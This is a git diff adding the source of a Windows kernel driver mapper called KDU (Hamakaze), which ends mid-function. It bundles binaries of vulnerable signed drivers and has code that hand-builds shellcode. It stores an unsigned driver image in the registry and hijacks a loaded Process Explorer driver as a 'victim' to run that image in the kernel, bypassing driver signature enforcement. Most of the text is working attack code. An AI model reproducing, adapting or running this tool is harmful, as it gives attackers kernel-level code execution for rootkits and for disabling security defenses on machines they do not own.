b/Source/Hamakaze/KDU.vcxproj @@ -0,0 +1,164 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {46C8FB0F-C8BF-4932-B84C-A10B38904728} + KDU + 10.0 + Hamakaze + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + + + + + + + + + + + + + true + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + kdu + + + false + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + true + ..\..\..\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Team Tools\Static Analysis Tools\Rule Sets\SecurityRules.ruleset + kdu + + + + Level4 + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + false + $(ProjectDir);%(AdditionalIncludeDirectories) + + + Console + true + + + + + Level4 + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MinSpace + Size + true + MultiThreaded + false + false + true + $(ProjectDir);%(AdditionalIncludeDirectories) + None + + + Console + true + true + false + true + RequireAdministrator + /NOCOFFGRPINFO %(AdditionalOptions) + 6.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Source/Hamakaze/KDU.vcxproj.filters b/Source/Hamakaze/KDU.vcxproj.filters new file mode 100644 index 0000000..6633dad --- /dev/null +++ b/Source/Hamakaze/KDU.vcxproj.filters @@ -0,0 +1,180 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {f7a995c4-ab5e-4da5-8c67-b786e28b68e0} + + + {62c72812-4f0a-4b4e-a30d-4f7eee638cc3} + + + {3ec0ce53-a8de-4985-b6d0-dc01135c1d91} + + + + + Source Files + + + Source Files + + + minirtl + + + minirtl + + + minirtl + + + minirtl + + + minirtl + + + minirtl + + + minirtl + + + minirtl + + + Source Files + + + Source Files + + + minirtl + + + minirtl + + + Source Files + + + Source Files + + + Source Files\idrv + + + Source Files\idrv + + + hde + + + minirtl + + + Source Files + + + Source Files + + + minirtl + + + + + Header Files + + + Header Files + + + Header Files + + + minirtl + + + minirtl + + + Header Files + + + minirtl + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Source Files\idrv + + + Source Files\idrv + + + hde + + + Header Files + + + Header Files + + + minirtl + + + + + Resource Files + + + + + Resource Files + + + Resource Files + + + + + Resource Files + + + Resource Files + + + Resource Files + + + \ No newline at end of file diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user new file mode 100644 index 0000000..8bd222e --- /dev/null +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -0,0 +1,7 @@ + + + + -map c:\makeexe\temp\dummy.sys + WindowsLocalDebugger + + \ No newline at end of file diff --git a/Source/Hamakaze/compess.cpp b/Source/Hamakaze/compess.cpp new file mode 100644 index 0000000..164b7d5 --- /dev/null +++ b/Source/Hamakaze/compess.cpp @@ -0,0 +1,177 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2015 - 2020 gruf0x +* +* TITLE: COMPRESS.CPP +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Compression support routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" +#include +#include + +#pragma comment(lib, "msdelta.lib") + +/* +* KDUDecompressResource +* +* Purpose: +* +* Decompress resource and return pointer to decompressed data. +* +* N.B. Use supHeapFree to release memory allocated for the decompressed buffer. +* +*/ +PVOID KDUDecompressResource( + _In_ PVOID ResourcePtr, + _In_ SIZE_T ResourceSize, + _Out_ PSIZE_T DecompressedSize +) +{ + DELTA_INPUT diDelta, diSource; + DELTA_OUTPUT doOutput; + PVOID resultPtr = NULL; + + *DecompressedSize = 0; + + RtlSecureZeroMemory(&diSource, sizeof(DELTA_INPUT)); + RtlSecureZeroMemory(&diDelta, sizeof(DELTA_INPUT)); + RtlSecureZeroMemory(&doOutput, sizeof(DELTA_OUTPUT)); + + diDelta.Editable = FALSE; + diDelta.lpcStart = ResourcePtr; + diDelta.uSize = ResourceSize; + + if (ApplyDeltaB(DELTA_FILE_TYPE_RAW, diSource, diDelta, &doOutput)) { + + SIZE_T newSize = (DWORD)doOutput.uSize; + PVOID decomPtr = doOutput.lpStart; + + if (supVerifyMappedImageMatchesChecksum(decomPtr, + (ULONG)newSize)) + { + resultPtr = (PVOID)supHeapAlloc(newSize); + if (resultPtr) { + RtlCopyMemory(resultPtr, decomPtr, newSize); + *DecompressedSize = newSize; + } + } + else { + printf_s("[!] Error data checksum mismatch!\r\n"); + } + + DeltaFree(doOutput.lpStart); + + } else { + printf_s("[!] Error decompressing resource, GetLastError %lu\r\n", GetLastError()); + } + + return resultPtr; +} + +/* +* KDUCompressResource +* +* Purpose: +* +* Compress resource and write it to the disk into new file with same name and .bin extension. +* +*/ +VOID KDUCompressResource( + _In_ LPWSTR lpFileName) +{ + DWORD fileSize = 0; + PBYTE fileBuffer; + + DELTA_INPUT d_in, d_target, s_op, t_op, g_op; + DELTA_OUTPUT d_out; + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + + printf_s("[+] Reading %wS\r\n", lpFileName); + fileBuffer = supReadFileToBuffer(lpFileName, &fileSize); + + if (fileBuffer) { + + printf_s("[+] %lu bytes read\r\n", fileSize); + + PWSTR newFileName; + SIZE_T sz = _strlen(lpFileName) + (2 * MAX_PATH); + + newFileName = (PWSTR)supHeapAlloc(sz); + if (newFileName == NULL) { + printf_s("[!] Could not allocate memory for filename\r\n"); + } + else { + + _filename_noext(newFileName, lpFileName); + + RtlSecureZeroMemory(&d_in, sizeof(DELTA_INPUT)); + d_target.lpcStart = fileBuffer; + d_target.uSize = fileSize; + d_target.Editable = FALSE; + + RtlSecureZeroMemory(&s_op, sizeof(DELTA_INPUT)); + RtlSecureZeroMemory(&t_op, sizeof(DELTA_INPUT)); + RtlSecureZeroMemory(&g_op, sizeof(DELTA_INPUT)); + + if (CreateDeltaB(DELTA_FILE_TYPE_RAW, + DELTA_FLAG_NONE, + DELTA_FLAG_NONE, + d_in, + d_target, + s_op, + t_op, + g_op, + NULL, + 0, + &d_out)) + { + SIZE_T writeSize = d_out.uSize; + PVOID dataBlob = d_out.lpStart; + + _strcat(newFileName, L".bin"); + + printf_s("[+] Saving compressed resource as %wS with new size %llu bytes\r\n", + newFileName, writeSize); + + if (supWriteBufferToFile(newFileName, + dataBlob, + writeSize, + TRUE, + FALSE, + NULL) != writeSize) + { + printf_s("[!] Error writing to file\r\n"); + } + + DeltaFree(d_out.lpStart); + } + else { + + printf_s("[!] Error compressing resource, GetLastError %lu\r\n", GetLastError()); + } + + supHeapFree(newFileName); + } + + supHeapFree(fileBuffer); + + } + else { + printf_s("[!] Could not read input file\r\n"); + } + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); +} diff --git a/Source/Hamakaze/compress.h b/Source/Hamakaze/compress.h new file mode 100644 index 0000000..2c31142 --- /dev/null +++ b/Source/Hamakaze/compress.h @@ -0,0 +1,28 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2015 - 2020 gruf0x +* +* TITLE: COMPRESS.H +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Compression support routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +PVOID KDUDecompressResource( + _In_ PVOID ResourcePtr, + _In_ SIZE_T ResourceSize, + _Out_ PSIZE_T DecompressedSize); + +VOID KDUCompressResource( + _In_ LPWSTR lpFileName); diff --git a/Source/Hamakaze/consts.h b/Source/Hamakaze/consts.h new file mode 100644 index 0000000..0550e12 --- /dev/null +++ b/Source/Hamakaze/consts.h @@ -0,0 +1,25 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: CONSTS.H +* +* VERSION: 1.00 +* +* DATE: 07 Jan 2020 +* +* Global consts. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +#define NT_REG_PREP L"\\Registry\\Machine" +#define DRIVER_REGKEY L"%wS\\System\\CurrentControlSet\\Services\\%wS" + +#define PROCEXP152 L"PROCEXP152" \ No newline at end of file diff --git a/Source/Hamakaze/drv/iQVM64.bin b/Source/Hamakaze/drv/iQVM64.bin new file mode 100644 index 0000000..4730733 Binary files /dev/null and b/Source/Hamakaze/drv/iQVM64.bin differ diff --git a/Source/Hamakaze/drv/procexp.bin b/Source/Hamakaze/drv/procexp.bin new file mode 100644 index 0000000..c3239c1 Binary files /dev/null and b/Source/Hamakaze/drv/procexp.bin differ diff --git a/Source/Hamakaze/drv/rtcore64.bin b/Source/Hamakaze/drv/rtcore64.bin new file mode 100644 index 0000000..982271e Binary files /dev/null and b/Source/Hamakaze/drv/rtcore64.bin differ diff --git a/Source/Hamakaze/drvmap.cpp b/Source/Hamakaze/drvmap.cpp new file mode 100644 index 0000000..de43d47 --- /dev/null +++ b/Source/Hamakaze/drvmap.cpp @@ -0,0 +1,837 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: DRVMAP.CPP +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Driver mapping routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#include "global.h" +#include "irp.h" + +// +// WARNING: shellcode DOESN'T WORK in DEBUG +// + +#define BOOTSTRAPCODE_SIZE 1968 //correct this value if Import change it size + +// +// Size in bytes +// InitCode 16 +// Import 64 +// BootstrapCode 1968 +// + +//sizeof 2048 +typedef struct _SHELLCODE { + BYTE InitCode[16]; + BYTE BootstrapCode[BOOTSTRAPCODE_SIZE]; + FUNC_TABLE Import; +} SHELLCODE, * PSHELLCODE; + +SHELLCODE* g_ShellCode; + +/* +* ExAllocatePoolTest +* +* Purpose: +* +* User mode test routine. +* +*/ +PVOID NTAPI ExAllocatePoolTest( + _In_ POOL_TYPE PoolType, + _In_ SIZE_T NumberOfBytes) +{ + PVOID P; + UNREFERENCED_PARAMETER(PoolType); + + P = VirtualAlloc(NULL, NumberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + return P; +} + +/* +* ExFreePoolTest +* +* Purpose: +* +* User mode test routine. +* +*/ +VOID NTAPI ExFreePoolTest( + _In_ PVOID P) +{ + VirtualFree(P, 0, MEM_RELEASE); +} + +/* +* IofCompleteRequestTest +* +* Purpose: +* +* User mode test routine. +*/ +VOID IofCompleteRequestTest( + _In_ VOID* Irp, + _In_ CCHAR PriorityBoost) +{ + UNREFERENCED_PARAMETER(Irp); + UNREFERENCED_PARAMETER(PriorityBoost); + return; +} + +/* +* PsCreateSystemThreadTest +* +* Purpose: +* +* User mode test routine. +* +*/ +NTSTATUS NTAPI PsCreateSystemThreadTest( + _Out_ PHANDLE ThreadHandle, + _In_ ULONG DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ HANDLE ProcessHandle, + _Out_opt_ PCLIENT_ID ClientId, + _In_ PKSTART_ROUTINE StartRoutine, + _In_opt_ PVOID StartContext) +{ + UNREFERENCED_PARAMETER(ThreadHandle); + UNREFERENCED_PARAMETER(DesiredAccess); + UNREFERENCED_PARAMETER(ObjectAttributes); + UNREFERENCED_PARAMETER(ProcessHandle); + UNREFERENCED_PARAMETER(ClientId); + UNREFERENCED_PARAMETER(StartRoutine); + UNREFERENCED_PARAMETER(StartContext); + return STATUS_SUCCESS; +} + +IO_STACK_LOCATION g_testIostl; + +/* +* IoGetCurrentIrpStackLocationTest +* +* Purpose: +* +* User mode test routine. +* +*/ +FORCEINLINE +PIO_STACK_LOCATION +IoGetCurrentIrpStackLocationTest( + _In_ PIRP Irp +) +{ + UNREFERENCED_PARAMETER(Irp); + g_testIostl.MajorFunction = IRP_MJ_CREATE; + return &g_testIostl; +} + +/* +* SizeOfProc +* +* Purpose: +* +* Very simplified. Return size of procedure when first ret meet. +* +*/ +ULONG SizeOfProc( + _In_ PBYTE FunctionPtr) +{ + ULONG c = 0; + UCHAR* p; + hde64s hs; + + __try { + + do { + p = FunctionPtr + c; + hde64_disasm(p, &hs); + if (hs.flags & F_ERROR) + break; + c += hs.len; + + } while (*p != 0xC3); + + } + __except (EXCEPTION_EXECUTE_HANDLER) { + return 0; + } + return c; +} + +/* +* FakeDispatchRoutine +* +* Purpose: +* +* Bootstrap shellcode. +* Read image from registry, process relocs and run it. +* +* IRQL: PASSIVE_LEVEL +* +*/ +NTSTATUS NTAPI FakeDispatchRoutine( + _In_ struct _DEVICE_OBJECT* DeviceObject, + _Inout_ struct _IRP* Irp, + _In_ PSHELLCODE ShellCode) +{ + NTSTATUS status; + ULONG returnLength = 0, isz, dummy; + HANDLE hKey = NULL, hThread; + UNICODE_STRING str; + OBJECT_ATTRIBUTES obja; + KEY_VALUE_PARTIAL_INFORMATION keyinfo; + KEY_VALUE_PARTIAL_INFORMATION* pkeyinfo; + ULONG_PTR Image, exbuffer, pos; + + PIO_STACK_LOCATION StackLocation; + + PIMAGE_DOS_HEADER dosh; + PIMAGE_FILE_HEADER fileh; + PIMAGE_OPTIONAL_HEADER popth; + PIMAGE_BASE_RELOCATION rel; + + DWORD_PTR delta; + LPWORD chains; + DWORD c, p, rsz; + + WCHAR szRegistryKey[] = { + L'\\', L'R', L'E', L'G', L'I', L'S', L'T', L'R', L'Y', L'\\',\ + L'M', L'A', L'C', L'H', L'I', L'N', L'E', 0 + }; + + USHORT cbRegistryKey = sizeof(szRegistryKey) - sizeof(WCHAR); + + WCHAR szValueKey[] = { L'~', 0 }; + + USHORT cbValueKey = sizeof(szValueKey) - sizeof(WCHAR); + + UNREFERENCED_PARAMETER(DeviceObject); + +#ifdef _DEBUG + StackLocation = IoGetCurrentIrpStackLocationTest(Irp); +#else + StackLocation = IoGetCurrentIrpStackLocation(Irp); +#endif + + if ((StackLocation->MajorFunction == IRP_MJ_CREATE) + && (DeviceObject->SectorSize == 0)) + { + + str.Buffer = szRegistryKey; + str.Length = cbRegistryKey; + str.MaximumLength = str.Length + sizeof(UNICODE_NULL); + +#ifdef _DEBUG + InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE, 0, 0); +#else + InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0); +#endif + + status = ShellCode->Import.ZwOpenKey(&hKey, KEY_READ, &obja); + if (NT_SUCCESS(status)) { + + str.Buffer = szValueKey; + str.Length = cbValueKey; + str.MaximumLength = str.Length + sizeof(UNICODE_NULL); + + status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation, + &keyinfo, sizeof(KEY_VALUE_PARTIAL_INFORMATION), &returnLength); + + if ((status == STATUS_BUFFER_OVERFLOW) || + (status == STATUS_BUFFER_TOO_SMALL)) + { + pkeyinfo = (KEY_VALUE_PARTIAL_INFORMATION*)ShellCode->Import.ExAllocatePool(NonPagedPool, returnLength); + if (pkeyinfo) { + + status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation, + (PVOID)pkeyinfo, returnLength, &dummy); + if (NT_SUCCESS(status)) { + + Image = (ULONG_PTR)&pkeyinfo->Data[0]; + dosh = (PIMAGE_DOS_HEADER)Image; + fileh = (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew); + popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER)); + isz = popth->SizeOfImage; + + exbuffer = (ULONG_PTR)ShellCode->Import.ExAllocatePool( + NonPagedPool, isz + PAGE_SIZE) + PAGE_SIZE; + if (exbuffer != 0) { + + exbuffer &= ~(PAGE_SIZE - 1); + + if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) + if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) + { + rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image + + popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); + + rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + delta = (DWORD_PTR)exbuffer - popth->ImageBase; + c = 0; + + while (c < rsz) { + p = sizeof(IMAGE_BASE_RELOCATION); + chains = (LPWORD)((PBYTE)rel + p); + + while (p < rel->SizeOfBlock) { + + switch (*chains >> 12) { + case IMAGE_REL_BASED_HIGHLOW: + *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta; + break; + case IMAGE_REL_BASED_DIR64: + *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta; + break; + } + + chains++; + p += sizeof(WORD); + } + + c += rel->SizeOfBlock; + rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock); + } + } + + isz >>= 3; + for (pos = 0; pos < isz; pos++) + ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos]; + + hThread = NULL; + InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); + if (NT_SUCCESS(ShellCode->Import.PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &obja, NULL, NULL, + (PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL))) + { + ShellCode->Import.ZwClose(hThread); + } + + DeviceObject->SectorSize = 512; + } + } + ShellCode->Import.ExFreePool(pkeyinfo); + } + } + ShellCode->Import.ZwClose(hKey); + } + } + ShellCode->Import.IofCompleteRequest(Irp, 0); + return STATUS_SUCCESS; +} + +/* +* KDUStorePayload +* +* Purpose: +* +* Load input file as image, resolve import and store result in registry. +* +*/ +BOOL KDUStorePayload( + _In_ LPWSTR lpFileName, + _In_ ULONG_PTR KernelImage, + _In_ ULONG_PTR KernelBase) +{ + BOOL bSuccess = FALSE; + HKEY hKey = NULL; + PVOID DataBuffer = NULL; + LRESULT lResult; + + NTSTATUS ntStatus; + ULONG isz; + PVOID Image = NULL; + PIMAGE_NT_HEADERS FileHeader; + UNICODE_STRING ustr; + + ULONG DllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE; + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + + // + // Map input file as image. + // + RtlInitUnicodeString(&ustr, lpFileName); + ntStatus = LdrLoadDll(NULL, &DllCharacteristics, &ustr, &Image); + if ((!NT_SUCCESS(ntStatus)) || (Image == NULL)) { + printf_s("[!] Error while loading input driver file, NTSTATUS (0x%lX)\r\n", ntStatus); + return FALSE; + } + else { + printf_s("[+] Input driver file loaded at 0x%p\r\n", Image); + } + + FileHeader = RtlImageNtHeader(Image); + if (FileHeader == NULL) { + printf_s("[!] Error, invalid NT header\r\n"); + } + else { + + // + // Resolve import (ntoskrnl only) and write buffer to registry. + // + isz = FileHeader->OptionalHeader.SizeOfImage; + + DataBuffer = supHeapAlloc(isz); + if (DataBuffer) { + RtlCopyMemory(DataBuffer, Image, isz); + + printf_s("[+] Resolving kernel import for input driver\r\n"); + supResolveKernelImport((ULONG_PTR)DataBuffer, KernelImage, KernelBase); + + lResult = RegOpenKey(HKEY_LOCAL_MACHINE, NULL, &hKey); + if ((lResult == ERROR_SUCCESS) && (hKey != NULL)) { + + lResult = RegSetKeyValue(hKey, NULL, TEXT("~"), REG_BINARY, + DataBuffer, isz); + + bSuccess = (lResult == ERROR_SUCCESS); + + RegCloseKey(hKey); + } + supHeapFree(DataBuffer); + } + } + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); + + return bSuccess; +} + +ULONG_PTR KDUResolveFunctionInternal( + _In_ ULONG_PTR KernelBase, + _In_ ULONG_PTR KernelImage, + _In_ LPCSTR Function) +{ + ULONG_PTR Address = supGetProcAddress(KernelBase, KernelImage, Function); + if (Address == 0) { + printf_s("[!] Error, %s address not found\r\n", Function); + return 0; + } + + printf_s("[+] %s 0x%llX\r\n", Function, Address); + return Address; +} + +#define ASSERT_RESOLVED_FUNC(FunctionPtr) { if (FunctionPtr == 0) break; } + +/* +* KDUSetupShellCode +* +* Purpose: +* +* Construct shellcode data, init code. +* +*/ +BOOL KDUSetupShellCode( + _In_ PKDU_CONTEXT Context, + _In_ LPWSTR lpMapDriverFileName) +{ + BOOL bResult = FALSE; + NTSTATUS ntStatus; + ULONG ProcedureSize = 0; + UNICODE_STRING ustr; + + ULONG_PTR KernelBase, KernelImage = 0; + + WCHAR szNtOs[MAX_PATH * 2]; + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + + do { + + KernelBase = Context->NtOsBase; + if (KernelBase == 0) { + printf_s("[!] Cannot query ntoskrnl loaded base, abort\r\n"); + break; + } + + printf_s("[+] Loaded ntoskrnl base 0x%llX\r\n", KernelBase); + + // + // Preload ntoskrnl.exe + // + _strcpy(szNtOs, USER_SHARED_DATA->NtSystemRoot); + _strcat(szNtOs, L"\\system32\\ntoskrnl.exe"); + + RtlInitUnicodeString(&ustr, szNtOs); + ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)&KernelImage); + + if ((!NT_SUCCESS(ntStatus)) || (KernelImage == 0)) { + printf_s("[!] Error while loading ntoskrnl.exe, NTSTATUS (0x%lX)\r\n", ntStatus); + break; + } + + printf_s("[+] Ntoskrnl.exe mapped at 0x%llX\r\n", KernelImage); + + // + // Store input file in registry. + // + if (!KDUStorePayload(lpMapDriverFileName, KernelImage, KernelBase)) { + printf_s("[!] Cannot write payload to the registry, abort\r\n"); + break; + } + + // + // Allocate shellcode. + // + g_ShellCode = (SHELLCODE*)VirtualAlloc(NULL, sizeof(SHELLCODE), + MEM_RESERVE | MEM_COMMIT, + PAGE_EXECUTE_READWRITE); + + if (g_ShellCode == NULL) + break; + + // + // Build initial code part. + // + // 00 call +5 + // 05 pop r8 + // 07 sub r8, 5 + // 0B jmps 10 + // 0D int 3 + // 0E int 3 + // 0F int 3 + // 10 code + + + //int 3 + memset(g_ShellCode->InitCode, 0xCC, sizeof(g_ShellCode->InitCode)); + + //call +5 + g_ShellCode->InitCode[0x0] = 0xE8; + g_ShellCode->InitCode[0x1] = 0x00; + g_ShellCode->InitCode[0x2] = 0x00; + g_ShellCode->InitCode[0x3] = 0x00; + g_ShellCode->InitCode[0x4] = 0x00; + + //pop r8 + g_ShellCode->InitCode[0x5] = 0x41; + g_ShellCode->InitCode[0x6] = 0x58; + + //sub r8, 5 + g_ShellCode->InitCode[0x7] = 0x49; + g_ShellCode->InitCode[0x8] = 0x83; + g_ShellCode->InitCode[0x9] = 0xE8; + g_ShellCode->InitCode[0xA] = 0x05; + + // jmps + g_ShellCode->InitCode[0xB] = 0xEB; + g_ShellCode->InitCode[0xC] = 0x03; + + // + // Remember function pointers. + // + + g_ShellCode->Import.ExAllocatePool = + (pfnExAllocatePool)KDUResolveFunctionInternal(KernelBase, KernelImage, "ExAllocatePool"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ExAllocatePool); + + g_ShellCode->Import.ExFreePool = + (pfnExFreePool)KDUResolveFunctionInternal(KernelBase, KernelImage, "ExFreePool"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ExFreePool); + + g_ShellCode->Import.PsCreateSystemThread = + (pfnPsCreateSystemThread)KDUResolveFunctionInternal(KernelBase, KernelImage, "PsCreateSystemThread"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.PsCreateSystemThread); + + g_ShellCode->Import.IofCompleteRequest = + (pfnIofCompleteRequest)KDUResolveFunctionInternal(KernelBase, KernelImage, "IofCompleteRequest"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.IofCompleteRequest); + + g_ShellCode->Import.ZwClose = + (pfnZwClose)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwClose"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwClose); + + g_ShellCode->Import.ZwOpenKey = + (pfnZwOpenKey)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwOpenKey"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwOpenKey); + + g_ShellCode->Import.ZwQueryValueKey = + (pfnZwQueryValueKey)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwQueryValueKey"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwQueryValueKey); + + g_ShellCode->Import.DbgPrint = + (pfnDbgPrint)KDUResolveFunctionInternal(KernelBase, KernelImage, "DbgPrint"); + ASSERT_RESOLVED_FUNC(g_ShellCode->Import.DbgPrint); + + + ProcedureSize = SizeOfProc((PBYTE)FakeDispatchRoutine); + + // + // Shellcode test, unused in Release build. + // +#ifdef _DEBUG + g_ShellCode->Import.ZwClose = &NtClose; + g_ShellCode->Import.ZwOpenKey = &NtOpenKey; + g_ShellCode->Import.ZwQueryValueKey = &NtQueryValueKey; + g_ShellCode->Import.ExAllocatePool = &ExAllocatePoolTest; + g_ShellCode->Import.ExFreePool = &ExFreePoolTest; + g_ShellCode->Import.IofCompleteRequest = &IofCompleteRequestTest; + g_ShellCode->Import.PsCreateSystemThread = &PsCreateSystemThreadTest; + + DEVICE_OBJECT temp; + + temp.SectorSize = 0; + + FakeDispatchRoutine(&temp, NULL, g_ShellCode); +#else + if (ProcedureSize != 0) { + + printf_s("[+] Bootstrap code size = 0x%lX\r\n", ProcedureSize); + + if (ProcedureSize > sizeof(g_ShellCode->BootstrapCode)) { + printf_s("[!] Bootstrap code size exceeds limit, abort\r\n"); + break; + } + memcpy(g_ShellCode->BootstrapCode, FakeDispatchRoutine, ProcedureSize); + //supWriteBufferToFile(L"out.bin", g_ShellCode->BootstrapCode, ProcedureSize); + } + + //((void(*)())g_ShellCode->InitCode)(); + + bResult = TRUE; +#endif + + } while (FALSE); + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); + + return bResult; +} + +/* +* KDUCheckMemoryLayout +* +* Purpose: +* +* Check if shellcode can be placed within the same/next physical page(s). +* +*/ +BOOL KDUCheckMemoryLayout( + _In_ KDU_CONTEXT* Context, + _In_ ULONG_PTR TargetAddress +) +{ + ULONG_PTR memPage, physAddrStart, physAddrEnd; + + KDU_PROVIDER* prov = Context->Provider; + + // + // If provider does not support translation return TRUE. + // + if ((PVOID)prov->Callbacks.VirtualToPhysical == (PVOID)KDUProviderStub) + return TRUE; + + memPage = (TargetAddress & 0xfffffffffffff000ull); + + if (prov->Callbacks.VirtualToPhysical(Context->DeviceHandle, + memPage, + &physAddrStart)) + { + memPage = (TargetAddress + sizeof(SHELLCODE)) & 0xfffffffffffff000ull; + + if (prov->Callbacks.VirtualToPhysical(Context->DeviceHandle, + memPage, + &physAddrEnd)) + { + ULONG_PTR diffAddr = physAddrEnd - physAddrStart; + + if (diffAddr > PAGE_SIZE) + return FALSE; + else + return TRUE; + } + + } + return FALSE; +} + +/* +* KDUMapDriver +* +* Purpose: +* +* Run mapper. +* +*/ +BOOL KDUMapDriver( + _In_ PKDU_CONTEXT Context, + _In_ LPWSTR lpMapDriverFileName) +{ + BOOL bSuccess = FALSE; + ULONG_PTR objectAddress, targetAddress = 0; + FILE_OBJECT fileObject; + DEVICE_OBJECT deviceObject; + DRIVER_OBJECT driverObject; + + KDU_PROVIDER* prov = Context->Provider; + + ULONG retryCount = 1, maxRetry = 3; + + HANDLE victimDeviceHandle = NULL; + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + +Reload: + + printf_s("[+] Victim driver map attempt %lu of %lu\r\n", retryCount, maxRetry); + + // + // If this is reload, release victim. + // + if (victimDeviceHandle) { + NtClose(victimDeviceHandle); + victimDeviceHandle = NULL; + VictimRelease((LPWSTR)PROCEXP152); + } + + if (VictimCreate(Context->ModuleBase, + (LPWSTR)PROCEXP152, + IDR_PROCEXP, + &victimDeviceHandle)) + { + printf_s("[+] Victim driver loaded, handle %p\r\n", victimDeviceHandle); + } + else { + printf_s("[!] Could not load victim driver, GetLastError %lu\r\n", GetLastError()); + } + + if (supQueryObjectFromHandle(victimDeviceHandle, &objectAddress)) { + + do { + + RtlSecureZeroMemory(&fileObject, sizeof(fileObject)); + + printf_s("[+] Reading FILE_OBJECT at 0x%llX\r\n", objectAddress); + + if (!KDUReadKernelVM(Context, + objectAddress, + &fileObject, + sizeof(FILE_OBJECT))) + { + 